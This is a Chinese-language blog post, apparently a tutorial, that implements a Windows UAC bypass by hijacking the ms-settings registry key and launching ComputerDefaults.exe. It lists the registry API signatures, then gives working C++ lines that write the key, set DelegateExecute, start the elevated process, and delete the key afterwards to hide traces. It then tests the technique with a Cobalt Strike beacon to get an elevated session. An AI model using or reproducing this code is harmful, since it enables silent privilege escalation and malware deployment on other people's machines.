关于bypassuac的探究——bypass的实现

经过前面的探究过后,我们整理下思路,首先要创建注册表,并添加DelegateExecute这个键值对,并修改command的指向exe路径即可bypassuac,那么这里用到一下几个函数

RegCreateKeyExA

首先是创建注册表项,对应的是之前创建HKCU\Software\Classes\ms-settings\Shell\Open\command这个路径的操作,这个路径默认情况下是不存在的

复制代码
LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
);

hkey:句柄

lpSubKey:此函数打开或创建的子项的名称

Reserved:保留参数,必须为0

lpClass:该键的用户定义类类型。可以忽略此参数。此参数可以为NULL

dwOptions:有几个值,使用的时候具体查询

samDesired:指定要创建的密钥的访问权限的掩码

lpSecurityAttributes:指向SECURITY_ATTRIBUTES结构的指针

phkResult:指向接收打开或创建的键的句柄的变量的指针

lpdwDisposition:指向处置值变量的指针

RegSetValueExA

再就是修改注册表项,指向我们的恶意exe路径

复制代码
LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,
  [in, optional] LPCSTR     lpValueName,
                 DWORD      Reserved,
  [in]           DWORD      dwType,
  [in]           const BYTE *lpData,
  [in]           DWORD      cbData
);

hkey:句柄

lpValueName:要设置的值的名称

Reserved:保留参数,必须为0

dwType:lpData参数指向的数据类型

lpData:要存储的数据

cbData:lpData参数指向的信息的大小,以字节为单位

RegDeleteTreeA

执行exe过后我们为了隐蔽最好是删除这个路径,那么就需要用到这个api

复制代码
LSTATUS RegDeleteTreeA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey
);

hkey:句柄

lpSubKey:密钥的名称

首先创建注册表项

复制代码
::RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command",
        0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

然后给注册表赋值指向exe路径

复制代码
::RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenA(filePath) + 1));

添加删除注册表键,即DelegateExecute

复制代码
RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""));

然后调用cmd创建ComputerDefaults.exe这个进程

复制代码
CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

调用完成之后删除注册表项

复制代码
RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

这里测试一下,先把路径写成cmd.exe

复制代码
char filePath[] = "C:\\Windows\\System32\\cmd.exe";

这里cmd的实现成功了,那么直接使用cs的马上线能不能够直接bypassuac呢,实验一下,这里把路径改为cs马的路径

这里为了验证已经bypass了uac,我后面手动自己点了一下cs的木马,第一个就是我们通过我们写的程序上线的,第二个就是直接点击上线的,看一下区别

仔细看的话这里bypass过的右上角有一个*

首先看一下第一个对话

再看下第二个对话,很明显这里已经bypass过了uac

相关推荐
C2H5OH6667 小时前
WebSocket-练习1
网络·websocket·网络协议
狂奔的sherry7 小时前
Socket vs WebSocket
网络·websocket·网络协议
仰望—星空7 小时前
MiniEngine学习笔记 : CommandListManager
c++·windows·笔记·学习·cg·direct3d
电子云与长程纠缠7 小时前
Blender入门学习09 - 制作动画
学习·blender
电子云与长程纠缠8 小时前
Blender入门学习10 - 曲线绘制
学习·blender
下午见。8 小时前
C语言结构体入门:定义、访问与传参全解析
c语言·笔记·学习
im_AMBER8 小时前
React 16
前端·笔记·学习·react.js·前端框架
sadandbad8 小时前
[vulhub靶机通关]DC-2(rbash绕过_git提权)
网络·sql·web安全·网络安全
GTgiantech9 小时前
科普SFP 封装光模块教程
服务器·网络·数据库
0和1的舞者10 小时前
网络通信的奥秘:HTTP详解 (七)
服务器·网络·网络协议·http·okhttp·软件工程·1024程序员节